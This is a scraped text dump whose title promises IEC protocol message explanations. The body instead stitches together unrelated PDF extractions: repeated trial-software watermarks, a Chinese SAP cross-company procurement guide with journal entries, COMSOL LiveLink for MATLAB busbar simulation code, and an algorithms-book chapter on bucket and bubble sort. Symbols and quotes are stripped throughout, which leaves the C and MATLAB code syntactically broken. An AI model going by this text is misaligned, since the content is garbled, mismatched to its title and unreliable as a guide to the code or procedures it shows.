IEC规约报文说明报文解释的比较好的文本资料下载.pdf
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a:
32:
{i:
0;s:
472:
"taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建";i:
1;s:
4925:
"跨公司采购袁江吕(QQ:
@#@953947349)跨公司采购跨公司采购1.业务总览业务总览由于各种原因,采购订单中经常会采购工厂和收货工厂属于不同公司代码,销售订单中销售工厂和发货工厂属于不同的公司代码的情况。
@#@这种情况发生在销售模块成为跨公司销售,发生在采购模块称为跨公司采购(也称为集中采购),对于集团型的公司,这种情况经常会发生。
@#@对于跨公司采购,有以下两个典型的场景:
@#@场景一场景一由于某些特殊原因,对供应商的收货是收到某个公司(如生产性的公司B),而对供应商的付款是由另外一家公司(如贸易性质的公司A)采购,如在国内,不少公司在香港特别行政区会成立这类贸易性质的公司,当需要向国外进口一些原材料则通过HK公司,实际供应商送货直接送至国内的工厂。
@#@场景二场景二某集团下,有多家公司(如公司B、公司C)都需要使用同一个原材料,采用集中采购的模式,有其中一家公司A与供应商签订协议,财务相关付款业务全部有A公司操作,但送货根据每家公司(公司B、C等)的需求送至各自公司的工厂中,如A公司可能是财务共享性质的公司或者母公司,统一负责对外部供应商的付款。
@#@2.方案分析方案分析对于上诉两个业务场景有以下两种方案2.1.方案一方案一认为是二次采购行为,相应的创建两张采购订单。
@#@首先是在系统中创建对外部供应商的采购订单,采购组织、收货工厂均为A公司,并创建针对A公司的公司间的采购订单,采购组织、收货公司为B公司。
@#@跨公司采购袁江吕(QQ:
@#@953947349)收到供应商的事务后,首先A公司进行收货,然后再从A公司针对公司间采购订单创建发货单,发给B公司,B公司再做收货。
@#@A公司财务流公司财务流采购原材料采购原材料入库入库借:
@#@库存100贷:
@#@GR/IR100发票过账发票过账借:
@#@GR/IR100进项税17贷:
@#@应付账款117销售原材料出库销售原材料出库借:
@#@发出商品100贷:
@#@库存100销售开票销售开票借:
@#@应收账款117贷:
@#@营业收入100销项税17B公司财务流公司财务流采购原材料入库采购原材料入库借:
@#@库存100跨公司采购袁江吕(QQ:
@#@953947349)贷:
@#@GR/IR100发票过账发票过账借:
@#@GR/IR100进项税17贷:
@#@应付账款1172.2.方案二方案二同一张采购订单,收货公司与发票校验的公司不同,创建采购订单,采购订单公司代码为A公司,采购订单中行项过账工厂属于B公司,这样当采购订单收货时,库存收到B公司,发票过账时,直接在A公司进行发票过账。
@#@发票过账时,除了产生对外部供应商的应付账款和会计凭证,还会在A、B两家公司之间产生公司间往来的会计凭证。
@#@采购订单入库采购订单入库B公司财务流公司财务流借:
@#@库存100贷:
@#@GR/IR100发票过账发票过账A公司财务流公司财务流借:
@#@应收账款100进项税17贷:
@#@应付账款117跨公司采购袁江吕(QQ:
@#@953947349)B公司财务流公司财务流借:
@#@GR/IR100贷:
@#@应付账款100手工凭证手工凭证A公司财务流公司财务流借:
@#@应收账款17贷:
@#@销项税17借:
@#@营业收入100贷:
@#@营业成本100B公司财务流公司财务流借:
@#@进项税17贷:
@#@应付账款172.3.方案比较方案比较方案二优点在与简洁,整个后勤模块的操作步骤少,并且与业务完全匹配。
@#@缺点在于缺少必要会计凭证(公司A缺少收入、成本科目,同时公司间往来凭证的科目中不包括税金科目),这些凭证需要手工进行制作,如果A公司需要出具增值税发票给B公司,那么采用该方案对金税接口也会有影响。
@#@方案一有点在于不需要财务手工做凭证,缺点是操作步骤多。
@#@3.系统实现系统实现3.1.方案一方案一正常采购+公司间采购跨公司采购袁江吕(QQ:
@#@953947349)3.2.方案二方案二3.2.1.通过通过OBYA(以下路径)(以下路径)维护跨公司的对应往来科目维护跨公司的对应往来科目SPRO-财务会计-总账会计-业务交易-准备跨公司代码交易3.2.1.创建采购订单创建采购订单公司代码为A010工厂为B001(对应公司代码为B010)跨公司采购袁江吕(QQ:
@#@953947349)3.2.2.采购订单收货采购订单收货跨公司采购袁江吕(QQ:
@#@953947349)3.2.3.发票过账发票过账跨公司采购袁江吕(QQ:
@#@953947349)A010B010袁江吕2017年10月24日";i:
2;s:
12810:
"VERSION4.4LiveLinkforMATLABTM简介?
@#@Partnumber:
@#@CM020010LiveLinkforMATLAB?
@#@20092013COMSOL?
@#@COMSOL4.4|i?
@#@ii|?
@#@|1?
@#@2|?
@#@COMSOLwithMATLAB?
@#@COMSOLwithMATLAB?
@#@comsolservermatlab?
@#@COMSOLwithMATLAB|3?
@#@“?
@#@”?
@#@4|?
@#@2a?
@#@1?
@#@2b?
@#@“?
@#@”?
@#@“?
@#@”?
@#@|5?
@#@blk=geom.feature.create(blk,Block);@#@blk.setIndex(size,2,0);@#@blk.setIndex(size,3,1);@#@?
@#@geom.feature.create(blk,Block);@#@geom.feature(blk).setIndex(size,2,0);@#@geom.feature(blk).setIndex(size,3,1);@#@?
@#@1?
@#@“?
@#@COMSOLwithMATLAB”?
@#@2?
@#@model=ModelUtil.create(Model);@#@?
@#@6|?
@#@“?
@#@”?
@#@1?
@#@2?
@#@3?
@#@ModelUtil.setServerBusyHandler(ServerBusyHandler
(2);@#@?
@#@|71?
@#@model.param.set(L,9cm,Lengthofthebusbar);@#@model.param.set(rad_1,6mm,Radiusofthefillet);@#@model.param.set(tbb,5mm,Thickness);@#@model.param.set(wbb,5cm,Width);@#@model.param.set(mh,6mm,Maximumelementsize);@#@model.param.set(htc,5W/m2/K,Heattransfercoefficient);@#@model.param.set(Vtot,20mV,Appliedelectricpotential);@#@?
@#@1?
@#@geom1=model.geom.create(geom1,3);@#@?
@#@2?
@#@wp1=geom1.feature.create(wp1,WorkPlane);@#@wp1.set(quickplane,xz);@#@3?
@#@r1=wp1.geom.feature.create(r1,Rectangle);@#@r1.set(size,L+2*tbb0.1);@#@?
@#@4?
@#@r2=wp1.geom.feature.create(r2,Rectangle);@#@r2.set(size,L+tbb0.1-tbb);@#@r2.set(pos,0tbb);@#@5?
@#@dif=wp1.geom.feature.create(dif,Difference);@#@dif.selection(input).set(r1);@#@dif.selection(input2).set(r2);@#@8|?
@#@geom1.run;@#@?
@#@6?
@#@fil1=wp1.geom.feature.create(fil1,Fillet);@#@fil1.selection(point).set(dif
(1),3);@#@fil1.set(radius,tbb);@#@7?
@#@fil2=wp1.geom.feature.create(fil2,Fillet);@#@fil2.selection(point).set(fil1
(1),6);@#@fil2.set(radius,2*tbb);@#@?
@#@|98?
@#@ext1=geom1.feature.create(ext1,Extrude);@#@ext1.selection(input).set(wp1);@#@ext1.set(distance,wbb);@#@?
@#@mphgeom(model)?
@#@9?
@#@wp2=geom1.feature.create(wp2,WorkPlane);@#@wp2.set(planetype,faceparallel);@#@wp2.selection(face).set(ext1
(1),8);@#@10?
@#@c1=wp2.geom.feature.create(c1,Circle);@#@c1.set(r,rad_1);@#@11?
@#@ext2=geom1.feature.create(ext2,Extrude);@#@ext2.selection(input).set(wp2);@#@ext2.set(distance,-2*tbb);@#@10|?
@#@12?
@#@wp3=geom1.feature.create(wp3,WorkPlane);@#@wp3.set(planetype,faceparallel);@#@wp3.selection(face).set(ext1
(1),4);@#@13?
@#@c2=wp3.geom.feature.create(c2,Circle);@#@c2.set(r,rad_1);@#@c2.set(pos,-L/2+1.5e-2-wbb/4);@#@14?
@#@copy=wp3.geom.feature.create(copy,Copy);@#@copy.selection(input).set(c2);@#@copy.set(disply,wbb/2);@#@15?
@#@ext3=geom1.feature.create(ext3,Extrude);@#@ext3.selection(input).set(wp3.c2wp3.copy);@#@ext3.set(distance,-2*tbb);@#@16?
@#@geom1.run;@#@?
@#@|11?
@#@1?
@#@sel1=model.selection.create(sel1);@#@sel1.set(234567);@#@sel1.name(Tibolts);@#@2?
@#@mphviewselection(model,sel1);@#@12|?
@#@5.998e7S/m7.407e5S/m?
@#@385J/(kg*K)710J/(kg*K)?
@#@11?
@#@8700kg/m34940kg/m3?
@#@400W/(m*K)7.5W/(m*K)1?
@#@mat1=model.material.create(mat1);@#@?
@#@COPPERTITANIUM?
@#@|132?
@#@mat1.materialModel(def).set(electricconductivity,5.998e7S/m);@#@mat1.materialModel(def).set(heatcapacity,385J/(kg*K);@#@mat1.materialModel(def).set(relpermittivity,1);@#@mat1.materialModel(def).set(density,8700kg/m3);@#@mat1.materialModel(def).set(thermalconductivity,400W/(m*K);@#@3?
@#@mat1.name(Copper);@#@4?
@#@mat2=model.material.create(mat2);@#@mat2.materialModel(def).set(electricconductivity,7.407e5S/m);@#@mat2.materialModel(def).set(heatcapacity,710J/(kg*K);@#@mat2.materialModel(def).set(relpermittivity,1);@#@mat2.materialModel(def).set(density,4940kg/m3);@#@mat2.materialModel(def).set(thermalconductivity,7.5W/(m*K);@#@mat2.name(Titanium);@#@5?
@#@mat2.selection.named(sel1);@#@?
@#@1?
@#@ht=model.physics.create(ht,HeatTransfer,geom1);@#@14|?
@#@2?
@#@hf1=ht.feature.create(hf1,HeatFluxBoundary,2);@#@?
@#@3?
@#@hf1.set(HeatFluxType,InwardHeatFlux);@#@hf1.selection.set(1:
@#@79:
@#@1416:
@#@42);@#@hf1.set(h,htc);@#@4?
@#@mphgeom(model,geom1,facemode,off,facelabels,on)?
@#@5?
@#@ec=model.physics.create(ec,ConductiveMedia,geom1);@#@6?
@#@pot1=ec.feature.create(pot1,ElectricPotential,2);@#@pot1.selection.set(43);@#@pot1.set(V0,Vtot);@#@7?
@#@gnd1=ec.feature.create(gnd1,Ground,2);@#@gnd1.selection.set(815);@#@?
@#@|15?
@#@1?
@#@emh=model.multiphysics.create(emh,ElectromagneticHeatSource,geom1,3);@#@emh.selection.all;@#@2?
@#@emh.set(EMHeat_physics,ec);@#@emh.set(Heat_physics,ht);@#@?
@#@1?
@#@mesh=model.mesh.create(mesh,geom1);@#@2?
@#@size=mesh.feature(size);@#@size.set(hmax,mh);@#@size.set(hmin,mh-mh/3);@#@size.set(hcurve,0.2);@#@3?
@#@ftet=mesh.feature.create(ftet,FreeTet);@#@16|?
@#@4?
@#@mesh.run;@#@?
@#@5?
@#@mphmesh(model)?
@#@1?
@#@std=model.study.create(std);@#@stat=std.feature.create(stat,Stationary);@#@?
@#@|172?
@#@ModelUtil.showProgress(true);@#@?
@#@3?
@#@std.run;@#@?
@#@18|?
@#@1?
@#@pg=model.result.create(pg,PlotGroup3D);@#@2?
@#@surf=pg.feature.create(surf,Surface);@#@surf.set(expr,T);@#@?
@#@3?
@#@surf.set(rangecoloractive,on);@#@surf.set(rangecolormin,322.6);@#@surf.set(rangecolormax,323.3);@#@4?
@#@mphplot(model,pg,rangenum,1)?
@#@|19?
@#@“?
@#@”?
@#@1?
@#@data=model.result.export.create(data,Data);@#@data.setIndex(expr,T,0);@#@data.set(filename,filepathTemperature.txt);@#@data.run;@#@20|?
@#@%Model:
@#@%Version:
@#@COMSOL4.4.0%Date:
@#@Sep302013,11:
@#@25%Dimension:
@#@3%Nodes:
@#@1700%Expressions:
@#@1%Description:
@#@Temperature%Lengthunit:
@#@m%xyzT(K)0.09999999999999999-0.0038380818225469850.09639433064874708322.949889247876060.09749606929798824-0.0069997502975423650.1322.949261374022460.09999999999999996-0.0055555555555555560.1322.94824689779085?
@#@1?
@#@mphsave(model,/busbar);@#@?
@#@mphsave(model,/busbar.m);@#@?
@#@|21?
@#@MATLAB?
@#@“?
@#@”?
@#@1?
@#@2?
@#@“?
@#@COMSOLwithMATLAB”?
@#@3?
@#@22|?
@#@4?
@#@-?
@#@COMSOL4.4startedlisteningonport2036-?
@#@5?
@#@6?
@#@model=ModelUtil.model(Model2);@#@?
@#@ModelUtil.tags7?
@#@mphmesh(model)8?
@#@model.result.remove(pg2);@#@?
@#@|23?
@#@1?
@#@2?
@#@model=ModelUtil.create(ImportExample);@#@model.geom.create(geom1,3);@#@model.geom(geom1).feature.create(blk1,Block);@#@model.geom(geom1).run;@#@3?
@#@4?
@#@5?
@#@24|?
@#@1?
@#@2?
@#@3?
@#@4?
@#@5?
@#@model.result(pg4).feature(surf1).set(expr,ec.normJ);@#@model.result(pg4).feature(surf1).set(unit,A/m2);@#@model.result(pg4).feature(surf1).set(rangecolormax,1e6);@#@model.result(pg4).feature(surf1).set(descr,Currentdensitynorm);@#@model.result(pg4).feature(surf1).set(rangecoloractive,on);@#@?
@#@6?
@#@model.result(pg4).feature(surf1).set(expr,ht.Qtot);@#@model.result(pg4).feature(surf1).set(unit,W/m3);@#@model.result(pg4).feature(surf1).set(rangecolormax,1e4);@#@?
@#@|25model.result(pg4).feature(surf1).set(descr,Totalheatsource);@#@?
@#@7?
@#@8?
@#@model=busbar;@#@9?
@#@mphplot(model,pg4,rangenum,1)?
@#@“?
@#@”?
@#@26|?
@#@LiveLinkforMATLAB?
@#@1?
@#@2?
@#@model=mphload(busbar);@#@?
@#@1?
@#@data=mpheval(model,V)?
@#@data=expr:
@#@Vd1:
@#@1x1713doublep:
@#@3x1713doublet:
@#@4x5834int32ve:
@#@1713x1int32unit:
@#@V?
@#@|27mpheval?
@#@-?
@#@-?
@#@-?
@#@-?
@#@-?
@#@-?
@#@2?
@#@data2=mpheval(model,TV)?
@#@data2=expr:
@#@TVd1:
@#@1x1713doubled2:
@#@1x1713doublep:
@#@3x1713doublet:
@#@4x5834int32ve:
@#@1713x1int32unit:
@#@KV?
@#@3?
@#@data3=mpheval(model,T,refine,2)?
@#@data3=expr:
@#@Td1:
@#@1x10625doublep:
@#@3x10625doublet:
@#@4x46672int32ve:
@#@10625x1int32unit:
@#@K?
@#@mphmesh(model)holdon;@#@plot3(data3.p(1,:
@#@),data3.p(2,:
@#@),data3.p(3,:
@#@),.);@#@plot3(data2.p(1,:
@#@),data2.p(2,:
@#@),data2.p(3,:
@#@),.r);@#@28|?
@#@4?
@#@data4=mpheval(model,ec.normJ,.edim,2,selection,43)?
@#@data4=expr:
@#@ec.normJd1:
@#@1x24doublep:
@#@3x24doublet:
@#@3x30int32ve:
@#@24x1int32unit:
@#@A/m2?
@#@|291?
@#@Qtot=mphinterp(model,ht.Qtot,coord,5e-2;@#@-2e-2;@#@1e-3)?
@#@Qtot=7.0725e+0032?
@#@x0=0:
@#@5e-2/4:
@#@5e-2;@#@y0=0:
@#@-2.5e-2/4:
@#@-2.5e-2;@#@z0=05e-3;@#@x,y,z=meshgrid(x0,y0,z0);@#@xx=x(:
@#@),y(:
@#@),z(:
@#@);@#@Qtot=mphinterp(model,ht.Qtot,coord,xx);@#@3?
@#@Qtot=reshape(Qtot,length(x0),length(y0),length(z0)?
@#@Qtot(:
@#@,:
@#@,1)=1.0e+05*0.00000.02830.07510.07100.07070.00070.24750.07490.07070.07070.00003.05860.07020.07040.07070.00060.41240.07510.07070.07070.00000.02920.07540.07100.0707Qtot(:
@#@,:
@#@,2)=1.0e+03*0.00032.90047.49047.09997.07330.07535.16407.18367.07407.07220.00038.58745.47267.04717.07100.06135.49487.11907.07227.07190.00032.91447.49277.09787.0733?
@#@1?
@#@Vtot=mphglobal(model,Vtot)Vtot=0.0230|?
@#@2?
@#@Q=mphint2(model,ec.Qh,volume,selection,1)?
@#@Q=0.24693?
@#@Iunit=mphint2(model,ec.normJ,surface,selection,43)I=162.7720unit=A4?
@#@maxT=mphmax(model,T,volume,selection,1)maxT=323.34305?
@#@maxT=mphmax(model,T,surface,selection,43)maxT=330.6576?
@#@|31?
@#@1?
@#@1?
@#@model=mphload(busbar);@#@2?
@#@mphnavigator32|?
@#@3?
@#@4?
@#@|33?
@#@“?
@#@”?
@#@1?
@#@2?
@#@model=mphload(busbar);@#@3?
@#@mphplot(model,pg4,rangenum,1);@#@4?
@#@model.param.set(L,18cm);@#@5?
@#@model.sol(sol1).run;@#@34|?
@#@6?
@#@mphplot(model,pg4,rangenum,1);@#@?
@#@1?
@#@L0=9e-2;@#@2?
@#@model.param.set(L,L0);@#@?
@#@|35?
@#@“?
@#@”?
@#@3?
@#@mphgeom(model)?
@#@4?
@#@r1=model.geom(geom1).feature(wp1).geom.feature(r1);@#@r2=model.geom(geom1).feature(wp1).geom.feature(r2);@#@5?
@#@H1=0.2;@#@H2=0.195;@#@6?
@#@r1.set(ly,H1);@#@r2.set(ly,H2);@#@36|?
@#@“?
@#@”?
@#@7?
@#@mphgeom(model);@#@?
@#@8?
@#@L0=0.1;@#@9?
@#@r1.set(ly,L0);@#@r2.set(ly,num2str(L0)-tbb);@#@10?
@#@|37mphgeom(model);@#@?
@#@1?
@#@2?
@#@functionmodelParam(model,filepath)?
@#@3?
@#@filename=fullfile(filepath,results.txt);@#@fid=fopen(filename,wt);@#@38|?
@#@fprintf(fid,*runparametricstudy*n);@#@fprintf(fid,Lm|tbbm|VtotV|);@#@fprintf(fid,MaxTK|TotQW|CurrentAn);@#@4?
@#@model.hist.disable;@#@5?
@#@forL=9e-215e-2model.param.set(L,L);@#@6?
@#@fortbb=5e-310e-3model.param.set(tbb,tbb);@#@7?
@#@forVtot=20e-340e-3model.param.set(Vtot,Vtot);@#@8?
@#@fprintf(fid,num2str(L),|,num2str(tbb),.|,num2str(Vtot),|);@#@9?
@#@model.sol(sol1).run;@#@10?
@#@MaxT=mphmax(model,T,3,selection,1);@#@TotQ=mphint2(model,ht.Qtot,3,selection,1);@#@Current=mphint2(model,ec.normJ,2,selection,43);@#@11?
@#@fprintf(fid,num2str(MaxT),|,num2str(TotQ),.|,num2str(Current),n);@#@12?
@#@modelName=fullfile(filepath,busbar_L=,num2str(L),._tbb=,num2str(tbb),._Vtot=,num2str(Vtot),.mph);@#@mphsave(model,modelName);@#@13?
@#@endendend14?
@#@fclose(fid);@#@?
@#@|39?
@#@functionmodelParam(model,filepath)filename=fullfile(filepath,results.txt);@#@fid=fopen(filename,wt);@#@fprintf(fid,*runparametricstudy*n);@#@fprintf(fid,Lm|tbbm|VtotV|);@#@fprintf(fid,MaxTK|TotQW|CurrentAn);@#@model.hist.disable;@#@forL=9e-215e-2model.param.set(L,L);@#@fortbb=5e-310e-3model.param.set(tbb,tbb);@#@forVtot=20e-340e-3model.param.set(Vtot,Vtot);@#@fprintf(fid,num2str(L),|,num2str(tbb),.|,num2str(Vtot),|);@#@model.sol(sol1).run;@#@MaxT=mphmax(model,T,3,selection,1);@#@TotQ=mphint2(model,ht.Qtot,3,selection,1);@#@Current=mphint2(model,ec.normJ,2,selection,43);@#@fprintf(fid,num2str(MaxT),|,num2str(TotQ),.|,num2str(Current),n);@#@modelName=fullfile(filepath,busbar_L=,num2str(L),._tbb=,num2str(tbb),_Vtot=,num2str(Vtot),.mph);@#@mphsave(model,modelName);@#@endendendfclose(fid);@#@15?
@#@16?
@#@model=mphload(busbar);@#@17?
@#@modelParam(model,filepath)18?
@#@*runparametricstudy*Lm|tbbm|VtotV|MaxTK|TotQW|CurrentA0.09|0.005|0.02|323.343|0.24691|162.7720.09|0.005|0.04|414.1278|0.98764|325.5440.09|0.01|0.02|308.5287|0.047891|96.40020.09|0.01|0.04|355.0164|0.19156|192.80050.15|0.005|0.02|315.916|0.33082|157.58320.15|0.005|0.04|384.3693|1.3233|315.16650.15|0.01|0.02|305.1033|0.065242|95.47220.15|0.01|0.04|341.2363|0.26097|190.944540|?
@#@|41?
@#@1?
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@#@42|?
@#@functionout=conductivity(x)out=400+5*randn(size(x);@#@3?
@#@4?
@#@functionout=heatflux(x,y,x0,y0,Q0,scale)radius=sqrt(x-x0).2+(y-y0).2);@#@";i:
3;s:
24356:
"第1章一大波数正在靠近排序1一大波数正在靠近排序第1章啊哈!
@#@算法2第1节最快最简单的排序桶排序在我们生活的这个世界中到处都是被排序过的东东。
@#@站队的时候会按照身高排序,考试的名次需要按照分数排序,网上购物的时候会按照价格排序,电子邮箱中的邮件按照时间排序总之很多东东都需要排序,可以说排序是无处不在。
@#@现在我们举个具体的例子来介绍一下排序算法。
@#@首先出场的是我们的主人公小哼,上面这个可爱的娃就是啦。
@#@期末考试完了老师要将同学们的分数按照从高到低排序。
@#@小哼的班上只有5个同学,这5个同学分别考了5分、3分、5分、2分和8分,哎,考得真是惨不忍睹(满分是10分)。
@#@接下来将分数进行从大到小排序,排序后是85532。
@#@你有没有什么好方法编写一段程序,让计算机随机读入5个数然后将这5个数从大到小输出?
@#@请先想一想,至少想15分钟再往下看吧(*_*)。
@#@第1章一大波数正在靠近排序3我们这里只需借助一个一维数组就可以解决这个问题。
@#@请确定你真的仔细想过再往下看哦。
@#@首先我们需要申请一个大小为11的数组inta11。
@#@OK,现在你已经有了11个变量,编号从a0a10。
@#@刚开始的时候,我们将a0a10都初始化为0,表示这些分数还都没有人得过。
@#@例如a0等于0就表示目前还没有人得过0分,同理a1等于0就表示目前还没有人得过1分a10等于0就表示目前还没有人得过10分。
@#@下面开始处理每一个人的分数,第一个人的分数是5分,我们就将相对应的a5的值在原来的基础增加1,即将a5的值从0改为1,表示5分出现过了一次。
@#@第二个人的分数是3分,我们就把相对应的a3的值在原来的基础上增加1,即将a3的值从0改为1,表示3分出现过了一次。
@#@啊哈!
@#@算法4注意啦!
@#@第三个人的分数也是5分,所以a5的值需要在此基础上再增加1,即将a5的值从1改为2,表示5分出现过了两次。
@#@按照刚才的方法处理第四个和第五个人的分数。
@#@最终结果就是下面这个图啦。
@#@你发现没有,a0a10中的数值其实就是0分到10分每个分数出现的次数。
@#@接下来,我们只需要将出现过的分数打印出来就可以了,出现几次就打印几次,具体如下。
@#@a0为0,表示“0”没有出现过,不打印。
@#@a1为0,表示“1”没有出现过,不打印。
@#@a2为1,表示“2”出现过1次,打印2。
@#@a3为1,表示“3”出现过1次,打印3。
@#@a4为0,表示“4”没有出现过,不打印。
@#@a5为2,表示“5”出现过2次,打印55。
@#@a6为0,表示“6”没有出现过,不打印。
@#@a7为0,表示“7”没有出现过,不打印。
@#@a8为1,表示“8”出现过1次,打印8。
@#@a9为0,表示“9”没有出现过,不打印。
@#@a10为0,表示“10”没有出现过,不打印。
@#@最终屏幕输出“23558”,完整的代码如下。
@#@#includeintmain()inta11,i,j,t;@#@for(i=0;@#@i=10;@#@i+)ai=0;@#@/初始化为0for(i=1;@#@i=5;@#@i+)/循环读入5个数第1章一大波数正在靠近排序5scanf(%d,&@#@t);@#@/把每一个数读到变量t中at+;@#@/进行计数for(i=0;@#@i=10;@#@i+)/依次判断a0a10for(j=1;@#@j=ai;@#@j+)/出现了几次就打印几次printf(%d,i);@#@getchar();@#@getchar();@#@/这里的getchar();@#@用来暂停程序,以便查看程序输出的内容/也可以用system(pause);@#@等来代替return0;@#@输入数据为:
@#@53528仔细观察的同学会发现,刚才实现的是从小到大排序。
@#@但是我们要求是从大到小排序,这该怎么办呢?
@#@还是先自己想一想再往下看哦。
@#@其实很简单。
@#@只需要将for(i=0;@#@i=0;@#@i-)就OK啦,快去试一试吧。
@#@这种排序方法我们暂且叫它“桶排序”。
@#@因为其实真正的桶排序要比这个复杂一些,以后再详细讨论,目前此算法已经能够满足我们的需求了。
@#@这个算法就好比有11个桶,编号从010。
@#@每出现一个数,就在对应编号的桶中放一个小旗子,最后只要数数每个桶中有几个小旗子就OK了。
@#@例如2号桶中有1个小旗子,表示2出现了一次;@#@3号桶中有1个小旗子,表示3出现了一次;@#@5号桶中有2个小旗子,表示5出现了两次;@#@8号桶中有1个小旗子,表示8出现了一次。
@#@现在你可以尝试一下输入n个01000之间的整数,将它们从大到小排序。
@#@提醒一下,啊哈!
@#@算法6如果需要对数据范围在01000的整数进行排序,我们需要1001个桶,来表示01000之间每一个数出现的次数,这一点一定要注意。
@#@另外,此处的每一个桶的作用其实就是“标记”每个数出现的次数,因此我喜欢将之前的数组a换个更贴切的名字book(book这个单词有记录、标记的意思),代码实现如下。
@#@#includeintmain()intbook1001,i,j,t,n;@#@for(i=0;@#@i=1000;@#@i+)booki=0;@#@scanf(%d,&@#@n);@#@/输入一个数n,表示接下来有n个数for(i=1;@#@i=0;@#@i-)/依次判断编号10000的桶for(j=1;@#@j=booki;@#@j+)/出现了几次就将桶的编号打印几次printf(%d,i);@#@getchar();@#@getchar();@#@return0;@#@可以输入以下数据进行验证。
@#@1081005022156110009990运行结果是:
@#@10009991005022158610最后来说下时间复杂度的问题。
@#@代码中第6行的循环一共循环了m次(m为桶的个数),第9行的代码循环了n次(n为待排序数的个数),第14行和第15行一共循环了m+n次。
@#@所以整个排序算法一共执行了m+n+m+n次。
@#@我们用大写字母O来表示时间复杂度,因此该第1章一大波数正在靠近排序7算法的时间复杂度是O(m+n+m+n)即O(2*(m+n)。
@#@我们在说时间复杂度的时候可以忽略较小的常数,最终桶排序的时间复杂度为O(m+n)。
@#@还有一点,在表示时间复杂度的时候,n和m通常用大写字母即O(M+N)。
@#@这是一个非常快的排序算法。
@#@桶排序从1956年就开始被使用,该算法的基本思想是由E.J.Issac和R.C.Singleton提出来的。
@#@之前我说过,其实这并不是真正的桶排序算法,真正的桶排序算法要比这个更加复杂。
@#@但是考虑到此处是算法讲解的第一篇,我想还是越简单易懂越好,真正的桶排序留在以后再聊吧。
@#@需要说明一点的是:
@#@我们目前学习的简化版桶排序算法,其本质上还不能算是一个真正意义上的排序算法。
@#@为什么呢?
@#@例如遇到下面这个例子就没辙了。
@#@现在分别有5个人的名字和分数:
@#@huhu5分、haha3分、xixi5分、hengheng2分和gaoshou8分。
@#@请按照分数从高到低,输出他们的名字。
@#@即应该输出gaoshou、huhu、xixi、haha、hengheng。
@#@发现问题了没有?
@#@如果使用我们刚才简化版的桶排序算法仅仅是把分数进行了排序。
@#@最终输出的也仅仅是分数,但没有对人本身进行排序。
@#@也就是说,我们现在并不知道排序后的分数原本对应着哪一个人!
@#@这该怎么办呢?
@#@不要着急,请看下节冒泡排序。
@#@第2节邻居好说话冒泡排序简化版的桶排序不仅仅有上一节所遗留的问题,更要命的是:
@#@它非常浪费空间!
@#@例如需要排序数的范围是02100000000,那你则需要申请2100000001个变量,也就是说要写成inta2100000001。
@#@因为我们需要用2100000001个“桶”来存储02100000000每一个数出现的次数。
@#@即便只给你5个数进行排序(例如这5个数是1、1912345678、2100000000、18000000和912345678),你也仍然需要2100000001个“桶”,这真是太浪费空间了!
@#@还有,如果现在需要排序的不再是整数而是一些小数,比如将5.56789、2.12、1.1、3.123、4.1234这五个数进行从小到大排序又该怎么办呢?
@#@现在我们来学习另一种新的排序算法:
@#@冒泡排序。
@#@它可以很好地解决这两个问题。
@#@冒泡排序的基本思想是:
@#@每次比较两个相邻的元素,如果它们的顺序错误就把它们交换过来。
@#@例如我们需要将1235991876这5个数进行从大到小的排序。
@#@既然是从大到小排序,也就是说越小的越靠后,你是不是觉得我在说废话,但是这句话很关键(_)。
@#@首先比较第1位和第2位的大小,现在第1位是12,第2位是35。
@#@发现12比35要小,啊哈!
@#@算法8因为我们希望越小越靠后嘛,因此需要交换这两个数的位置。
@#@交换之后这5个数的顺序是3512991876。
@#@按照刚才的方法,继续比较第2位和第3位的大小,第2位是12,第3位是99。
@#@12比99要小,因此需要交换这两个数的位置。
@#@交换之后这5个数的顺序是3599121876。
@#@根据刚才的规则,继续比较第3位和第4位的大小,如果第3位比第4位小,则交换位置。
@#@交换之后这5个数的顺序是3599181276。
@#@最后,比较第4位和第5位。
@#@4次比较之后5个数的顺序是3599187612。
@#@经过4次比较后我们发现最小的一个数已经就位(已经在最后一位,请注意12这个数的移动过程),是不是很神奇。
@#@现在再来回忆一下刚才比较的过程。
@#@每次都是比较相邻的两个数,如果后面的数比前面的数大,则交换这两个数的位置。
@#@一直比较下去直到最后两个数比较完毕后,最小的数就在最后一个了。
@#@就如同是一个气泡,一步一步往后“翻滚”,直到最后一位。
@#@所以这个排序的方法有一个很好听的名字“冒泡排序”。
@#@说到这里其实我们的排序只将5个数中最小的一个归位了。
@#@每将一个数归位我们将其称第1章一大波数正在靠近排序9为“一趟”。
@#@下面我们将继续重复刚才的过程,将剩下的4个数一一归位。
@#@好,现在开始“第二趟”,目标是将第2小的数归位。
@#@首先还是先比较第1位和第2位,如果第1位比第2位小,则交换位置。
@#@交换之后这5个数的顺序是9935187612。
@#@接下来你应该都会了,依次比较第2位和第3位,第3位和第4位。
@#@注意此时已经不需要再比较第4位和第5位。
@#@因为在第一趟结束后已经可以确定第5位上放的是最小的了。
@#@第二趟结束之后这5个数的顺序是9935761812。
@#@“第三趟”也是一样的。
@#@第三趟之后这5个数的顺序是9976351812。
@#@现在到了最后一趟“第四趟”。
@#@有的同学又要问了,这不是已经排好了吗?
@#@还要继续?
@#@当然,这里纯属巧合,你若用别的数试一试可能就不是了。
@#@你能找出这样的数据样例来吗?
@#@请试一试。
@#@“冒泡排序”的原理是:
@#@每一趟只能确定将一个数归位。
@#@即第一趟只能确定将末位上的数(即第5位)归位,第二趟只能将倒数第2位上的数(即第4位)归位,第三趟只能将倒数第3位上的数(即第3位)归位,而现在前面还有两个位置上的数没有归位,因此我们仍然需要进行“第四趟”。
@#@“第四趟”只需要比较第1位和第2位的大小。
@#@因为后面三个位置上的数归位了,现在第1位是99,第2位是76,无需交换。
@#@这5个数的顺序不变仍然是9976351812。
@#@到此排序完美结束了,5个数已经有4个数归位,那最后一个数也只能放在第1位了。
@#@最后我们总结一下:
@#@如果有n个数进行排序,只需将n1个数归位,也就是说要进行n-1趟操作。
@#@而“每一趟”都需要从第1位开始进行相邻两个数的比较,将较小的一个数放在后面,比较完毕后向后挪一位继续比较下面两个相邻数的大小,重复此步骤,直到最后一个尚未归位的数,已经归位的数则无需再进行比较(已经归位的数你还比较个啥,浪费表情)。
@#@这个算法是不是很强悍?
@#@记得我每次拍集体照的时候就总是被别人换来换去的,当时特别烦。
@#@不知道发明此算法的人当时的灵感是否来源于此。
